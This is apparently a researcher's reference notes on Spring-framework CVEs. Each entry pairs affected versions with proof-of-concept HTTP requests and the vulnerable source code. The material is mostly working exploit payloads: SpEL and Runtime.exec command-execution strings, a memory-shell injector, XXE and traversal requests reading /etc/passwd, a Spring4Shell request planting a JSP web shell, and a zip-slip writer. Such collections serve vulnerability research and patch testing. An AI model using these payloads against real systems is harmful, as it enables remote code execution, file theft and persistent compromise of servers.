A list for Spring Security
Spring Projects | CVE | Vulnerability Types |
---|---|---|
Spring Cloud Function | CVE-2020-22979 | DoS |
Spring Cloud Function | CVE-2022-22963 | SpEL |
Spring Cloud Netflix Hystrix Dashboard | CVE-2021-22053 | SpEL |
Spring Cloud Netflix Hystrix Dashboard | CVE-2020-5412 | SSRF |
Spring Cloud Gateway | CVE-2022-22947 | RCE |
Spring Cloud Config | CVE-2019-3799 | Directory Traversal |
Spring Cloud Config | CVE-2020-5405 | Directory Traversal |
Spring Cloud Config | CVE-2020-5410 | Directory Traversal |
Spring Data Commons | CVE-2018-1259 | XXE |
Spring Data Commons | CVE-2018-1273 | SpEL |
Spring Data Rest | CVE-2017-8046 | SpEL |
Spring Security | CVE-2022-22978 | Authorization Bypass |
Spring Security OAuth2 | CVE-2016-4977 | SpEL |
Spring Security OAuth2 | CVE-2018-1260 | SpEL |
Spring Boot Actuator Logview | CVE-2021-21234 | Directory Traversal |
Spring Framework | CVE-2018-1270 | RCE |
Spring Framework | CVE-2020-5398 | Reflected File Download |
Spring Framework | CVE-2020-5421 | Reflected File Download |
Spring Framework | CVE-2022-22965 | RCE |
Spring Framework | CVE-2013-4152 | XXE |
Spring Framework | SpringConfigTest | RCE |
Spring Integration Zip | CVE-2018-1261 | Arbitrary File Write |
SpringBoot: https://start.spring.io/
Spring Projects Examples: https://github.com/spring-projects
Spring Extension Examples: https://github.com/spring-guides
Sring Cloud correspond to Springboot versions: https://spring.io/projects/spring-cloud
<properties>
<java.version>1.8</java.version>
<!-- <spring-cloud.version>2021.0.3</spring-cloud.version>-->
<spring-cloud.version>Hoxton.SR3</spring-cloud.version>
</properties>
Spring OXM —— XStreamMarshaller —— XStream RCE
Hibernate-Validator —— @Valid + buildConstraintViolationWithTemplate —— EL RCE
Http-Invoker —— HttpInvokerServiceExporter —— Deserialization RCE
Ref: https://github.com/ax1sX/SpringSecurity/tree/main/SpringConfigTest
Affected Version: < 3.2.6
POC:
POST /uppercase, HTTP/1.1
{'a':1}
Factor:
BeanFactoryAwareFunctionRegistry
public <T> T lookup(Class<?> type, String functionDefinition, String... expectedOutputMimeTypes) {
functionDefinition = StringUtils.hasText(functionDefinition) ? functionDefinition : this.applicationContext.getEnvironment().getProperty("spring.cloud.function.definition", ""); // get uri -> "uppercase,"
functionDefinition = this.normalizeFunctionDefinition(functionDefinition); // Replace , with |, -> "uppercase|"
...
FunctionInvocationWrapper function = (FunctionInvocationWrapper)this.doLookup(type, functionDefinition, expectedOutputMimeTypes);// (1)function=wrappedFunctionDefinitions.get(functionDefinition); (2)if(function==null){"uppercase|" -> ["uppercase", ""],遍历数组从Function注册表中寻找对应值,找到了就将Function存放于wrappedFunctionDefinitions,没找到就返回空}
if (function == null) {
...
this.register(functionRegistration);// SimpleFunctionRegistry.register
}
}
SimpleFunctionRegistry
public <T> void register(FunctionRegistration<T> registration) {
this.functionRegistrations.add(registration); //将funtion注册在funtionRegistrations中,它是CopyOnWriteArraySet类型,随着size无限增大造成DoS
}
Affected Version: <= 3.1.6, 3.2.2
POC:
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
aaa
Factor:
RoutingFunction
private Object route(Object input, boolean originalInputIsPublisher) {
Function function;
if (input instanceof Message) {
if (StringUtils.hasText((String)message.getHeaders().get("spring.cloud.function.definition"))) {...}
else if (StringUtils.hasText((String)message.getHeaders().get("spring.cloud.function.routing-expression"))) {
function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message);
...
}...
}
private final StandardEvaluationContext evalContext = new StandardEvaluationContext();
private Function functionFromExpression(String routingExpression, Object input) {
Expression expression = this.spelParser.parseExpression(routingExpression);
String functionName = (String)expression.getValue(this.evalContext, input, String.class);
...
}
SpEL POC:
// Command Execution
T(Runtime).getRuntime().exec(\"open -a Calculator\")
new java.lang.ProcessBuilder({\"/bin/sh\",\"-c\",\"open -a Calculator\"}).start()
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")
T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/sh","-c","open -a Calculator"})
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/sh';s[1]='-c';s[2]='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("s=[3];s[0]='/bin/sh';s[1]='-c';s[2]='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);"),)
nstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a...")),)
// Command Execution + Response
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/sh", "-c", "whoami").start().getInputStream(), "gbk")).readLine()
new java.util.Scanner(new java.lang.ProcessBuilder("/bin/sh", "-c", "ls", ".\\").start().getInputStream(), "GBK").useDelimiter("asdfasdf").next()
// Read or Write File
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/Users/axisx/Downloads/application.properties"))))
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/1.txt")), 'hello'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
// MemShell
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
Affected Version: < 3.1.1 or < 3.0.7
Ref:
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/
Diff: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
POC1(Command Execution):
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://wya.pl",
"order": 0
}
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 258
POC2(Command Execution + Response):
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Factor:
ShortcutConfigurable
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
String rawValue = entryValue;
if (entryValue != null) {
rawValue = entryValue.trim();
}
Object value;
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
} else {
value = entryValue;
}
return value;
}
Affected Version: < 1.13.12 or < 2.0.7 + XMLBeam <= 1.4.14
Diff: https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1
POC:
POST / HTTP/1.1
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user>
<firstname>&xxe;</firstname>
<lastname>axisx</lastname>
</user>
Factor:
org.xmlbeam.io.StreamInput
private Document readDocument() throws IOException {
try {
DocumentBuilder documentBuilder = this.projector.config().createDocumentBuilder();
Document document = this.systemID == null ? documentBuilder.parse(this.is) : documentBuilder.parse(this.is, this.systemID);
return document;
} ...
}
Affected Version: < 1.13.11 or < 2.0.6
POC:
POST /users?page=&size=5 HTTP/1.1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")]=&password=&repeatedPassword=
// other pocs
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")]=&password=&repeatedPassword=
username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('shxx-cxxopen -a Calculator'.split('xx'))).start()]=&password=&repeatedPassword=
Factor:
MapDataBinder
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
...
Expression expression = PARSER.parseExpression(propertyName);
...
try {
expression.setValue(context, value);
} ...
}
}
Affected Version: < 2.5.12 or 2.6.7 or 3.0 RC3
Diff: https://github.com/spring-projects/spring-data-rest/commit/8f269e28fe8038a6c60f31a1c36cfda04795ab45
POC:
// Create User
POST /people HTTP/1.1
Content-Type:application/json
{"firstName":"san","lastName":"zhang"}
// Patch, modify user info
PATCH /people/1 HTTP/1.1
Content-Type:application/json-patch+json
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))/lastName", "value": "hacker" }]
Factor:
PatchOperation
protected void setValueOnTarget(Object target, Object value) {
this.spelExpression.setValue(target, value);
}
Affected Version: < 5.5.6, 5.6.3, earlier
Official description:
Applications using RegexRequestMatcher with
.
in the regular expression are possibly vulnerable to an authorization bypass
Diff: https://github.com/spring-projects/spring-security/commit/70863952aeb9733499027714d38821db05654856
POC: (\r
-> %0d
, \n
-> %0a
)
/admin/axisx%0a
/admin/axisx%0a%0d
Factor:
// RegexRequestMatcher
public boolean matches(HttpServletRequest request) {
String url = request.getServletPath();
String pathInfo = request.getPathInfo();
String query = request.getQueryString();
...
return this.pattern.matcher(url).matches(); // regexMatchers("/admin/.*")
}
request.getRequestURL(): http://ip:port/admin/axisx%0a%0d
request.getRequestURI(): /admin/axisx%0a%0d
request.getContextPath(): /Project Name/ or ""
request.getServletPath(): /admin/axisx\n\r
request.getPathInfo():/Servlet Path/ or Null
Summary: .
in regular matches do not handle \n
,\r
Affected Version: < 2.0.0-2.0.9 or 1.0.0-1.0.5
POC:
GET /oauth/authorize?response_type=token&client_id=acme&redirect_uri={payload}
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
Factor:
SpelView
public SpelView(String template) {
...
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = SpelView.this.parser.parseExpression(name);
Object value = expression.getValue(SpelView.this.context);
return value == null ? null : value.toString();
}
};
}
Affected Version: < 2.3.3 or 2.2.2 or 2.1.2 or 2.0.15
Ref: https://www.gosecure.net/blog/2018/05/17/beware-of-the-magic-spell-part-2-cve-2018-1260/
POC: (scope中如果存在空格,会被切分成数组)
GET or POST
/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D
Factor:
org.springframework.security.oauth2.provider.endpoin.SpelView
public SpelView(String template) {
...
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = SpelView.this.parser.parseExpression(name);
Object value = expression.getValue(SpelView.this.context);
return value == null ? null : value.toString();
}
};
}
Affected Version: < 2.2.9.RELEASE + Spring Boot Thymeleaf
POC:
GET /hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/
/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x
/hystrix;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/
/hystrix/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/
Factor:
org.thymeleaf.spring5.view.ThymeleafView
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
}
org.thymeleaf.standard.expression.StandardExpressionParser
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
}
Affected Version: < 2.2.4 or 2.1.6
Diff: https://github.com/spring-cloud/spring-cloud-netflix/commit/624bbc8b50f7b5b6a1addc62040e4f2587f24f1b
POC:
GET /proxy.stream?origin=www.baidu.com
Factor:
org.springframework.cloud.netflix.hystrix.dashboard.HystrixDashboardConfiguration
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String origin = request.getParameter("origin");
StringBuilder url = new StringBuilder();
if (!origin.startsWith("http")) {
url.append("http://");
}
url.append(origin);
String proxyUrl = url.toString();
try {
httpget = new HttpGet(proxyUrl);
HttpClient client = HystrixDashboardConfiguration.ProxyStreamServlet.ProxyConnectionManager.httpClient;
HttpResponse httpResponse = client.execute(httpget);
}
}
Affected Version: < 0.2.13
POC:
GET /manage/log/view?filename=/etc/passwd&base=../../../../../
Factor:
eu.hinsch.spring.boot.actuator.logview.FileSystemFileProvider
public void streamContent(Path folder, String filename, OutputStream stream) throws IOException {
IOUtils.copy(new FileInputStream(this.getFile(folder, filename)), stream);
}
Affected Version: < 5.0.5 or 4.3.15
Diff: https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a#
POC:
app.js -> Add header
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')"};
Connect -> use burp to modify packets
["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')\n\n\u0000"]
send messages...
Factor:
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry
private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {
info = this.subscriptionRegistry.getSubscriptions(sessionId);
sub = info.getSubscription(subId);
Expression expression = sub.getSelectorExpression();
context = new StandardEvaluationContext(message);
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
}
Affected Version: < 5.2.3 or 5.1.13 or 5.0.16
Diff: hhttps://github.com/spring-projects/spring-framework/commit/956ffe68587c8d5f21135b5ce4650af0c2dea933
Ref:
https://github.com/motikan2010/CVE-2020-5398
POC:
curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
Factor:
@RequestMapping(value = {"/"}, method = RequestMethod.GET)
public ResponseEntity<String> download(@RequestParam("filename") String fileName, @RequestParam("contents") String contents) {
// Make file name in response header
ContentDisposition contentDisposition = ContentDisposition.builder("attachment")
.filename(fileName + ".txt") // Secure .txt file
.build();
HttpHeaders headers = new HttpHeaders();
headers.setContentDisposition(contentDisposition);
// Download contents
return ResponseEntity.ok()
.headers(headers)
.contentType(MediaType.parseMediaType("application/octet-stream"))
.body(contents);
}
package org.springframework.http;
public final class ContentDisposition {
if (this.filename != null) {
if (this.charset != null && !StandardCharsets.US_ASCII.equals(this.charset)) {
sb.append("; filename*=");
sb.append(encodeFilename(this.filename, this.charset));
} else {
sb.append("; filename=\"");
sb.append(this.filename).append('"'); //filename -> "sample.sh";.txt"
}
}
Affected Version: < 5.2.8 or 5.1.17 or 5.0.18 or 4.3.28 Bypass CVE-2015-5211
Diff: https://github.com/spring-projects/spring-framework/commit/2281e421915627792a88acb64d0fea51ad138092
POC:
GET /rfd/content?content=hello
GET /rfd/;jsessionid=/content.sh?content=%23!%2Fbin%2Fbash%0Aid
GET /rfd/;jsessionid=/content.bat?content=calc
Factor:
org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor
private static final Set<String> WHITELISTED_EXTENSIONS = new HashSet(Arrays.asList("txt", "text", "yml", "properties", "csv", "json", "xml", "atom", "rss", "png", "jpe", "jpeg", "jpg", "gif", "wbmp", "bmp")); //允许的safeExtension
private static final Set<String> WHITELISTED_MEDIA_BASE_TYPES = new HashSet(Arrays.asList("audio", "image", "video"));
private void addContentDispositionHeader(ServletServerHttpRequest request, ServletServerHttpResponse response) {
String requestUri = rawUrlPathHelper.getOriginatingRequestUri(servletRequest); // -> removeJsessionid绕过后续safeExtension校验
filename = decodingUrlPathHelper.decodeRequestString(servletRequest, filename);
String ext = StringUtils.getFilenameExtension(filename);
pathParams = decodingUrlPathHelper.decodeRequestString(servletRequest, pathParams);
String extInPathParams = StringUtils.getFilenameExtension(pathParams);
if (!this.safeExtension(servletRequest, ext) || !this.safeExtension(servletRequest, extInPathParams)) {
headers.add("Content-Disposition", "inline;filename=f.txt");
}
}
org.springframework.web.util.UrlPathHelper
private String removeJsessionid(String requestUri) {
int startIndex = requestUri.toLowerCase().indexOf(";jsessionid=");
if (startIndex != -1) {
int endIndex = requestUri.indexOf(59, startIndex + 12);
String start = requestUri.substring(0, startIndex);
requestUri = endIndex != -1 ? start + requestUri.substring(endIndex) : start;
}
return requestUri;
}
Affected Version: Spring Framework before 3.2.4 and 4.0.0.M1 using the JAXB marshaller
POC:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Order><id>&xxe;</id></Order>
Affected Version: 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
Ref: https://www.jianshu.com/p/e0c7a03e40d2
POC:
POST /SpringRCEDemo_war_exploded/hello?name=admin&age=2&Class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&Class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&Class.module.classLoader.resources.context.parent.pipeline.first.directory=/webapp/&Class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell1&Class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
cmd: <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Affected Version: < 1.0.1
POC:
import zipfile
if __name__ == "__main__":
try:
binary = b'this is a axisx test'
zipFile = zipfile.ZipFile("./src/main/resources/test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("../../axisx.jsp", binary)
zipFile.close()
except IOError as e:
raise e
ResourceLoader resourceLoader = new DefaultResourceLoader();
File path = new File("./targetFolder/");
final Resource evilResource = resourceLoader.getResource("classpath:test.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.setWorkDirectory(path);
unZipTransformer.afterPropertiesSet();
unZipTransformer.transform(evilMessage);
}
Factor:
protected Object doZipTransform(final Message<?> message) throws Exception {
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {
final String zipEntryName = zipEntry.getName();
if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName);
if (zipEntry.isDirectory()) {
destinationFile.mkdirs(); //NOSONAR false positive
}
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
}
CVE-2019-3799、CVE-2020-5405、CVE-2020-5410类似,可复用同一环境,更改Spring Cloud Config版本即可
Affected Version: < 2.1.2 or 2.0.4 or 1.4.6
Diff: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2
POC:
GET /a/b/test/..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
Conf:(远程)
info:
component: Config Server
spring:
application:
name: configserver
autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx:
default_domain: cloud.config.server
cloud:
config:
server:
git:
uri: https://github.com/spring-cloud-samples/config-repo
repos:
- patterns: multi-repo-demo-*
uri: https://github.com/spring-cloud-samples/config-repo
Factor:
org.springframework.cloud.config.server.resource.ResourceController
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(...){
String path = getFilePath(request, name, profile, label); // -> decodeAndCleanUriString()
return retrieve(name, profile, label, path, resolvePlaceholders); // -> findOne()
}
org.springframework.web.util.UrlPathHelper
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = this.removeSemicolonContent(uri); //移除";"号
uri = this.decodeRequestString(request, uri); //进行url解码
uri = this.getSanitizedPath(uri); //处理"//"
return uri;
}
org.springframework.cloud.config.server.resource.GenericResourceRepository
public synchronized Resource findOne(String application, String profile, String label,String path) {
String[] locations = this.service.getLocations(application, profile, label).getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i]; // location为远程git地址下载到本地的tmp目录地址
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // tmp目录地址和label后的内容拼接
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
Affected Version: < 2.2.2 or 2.1.7
Diff: https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0
POC:
GET /1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29etc/nfs.conf
Conf:(本地)
info:
component: Config Server
spring:
application:
name: configserver
autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx:
default_domain: cloud.config.server
profiles:
active: native
cloud:
config:
server:
native:
search-locations:
- file:///Users/xxx/Downloads/environment/Spring/spring-cloud-config-2.2.1.RELEASE_cve_2020_5405/spring-cloud-config-server/config
Factor:
org.springframework.cloud.config.server.resource.ResourceController
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(...){
String path = getFilePath(request, name, profile, label); // -> decodeAndCleanUriString()
return retrieve(name, profile, label, path, resolvePlaceholders); // -> findOne()
}
synchronized String retrieve(ServletWebRequest request, String name, String profile, String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label); // -> replace (_) -> /
Resource resource = this.resourceRepository.findOne(name, profile, label, path);
...
}
private String resolveLabel(String label) {
if (label != null && label.contains("(_)")) {
label = label.replace("(_)", "/");
}
return label;
}
Affected Version: < 2.2.2 or 2.1.7
Diff: https://github.com/spring-cloud/spring-cloud-config/commit/1c01d11b74ca08d04e89d935f4cafe1bd0e57c3c
POC:
GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/222/11
Factor:
public Environment getEnvironment(String name, String profiles, String label, boolean includeOrigin) {
name = Environment.normalize(name);
label = Environment.normalize(label);
Environment environment = this.repository.findOne(name, profiles, label, includeOrigin);
...
}
public static String normalize(String s) {
return s != null && s.contains("(_)") ? s.replace("(_)", "/") : s;
}
Conf同CVE-2020-5405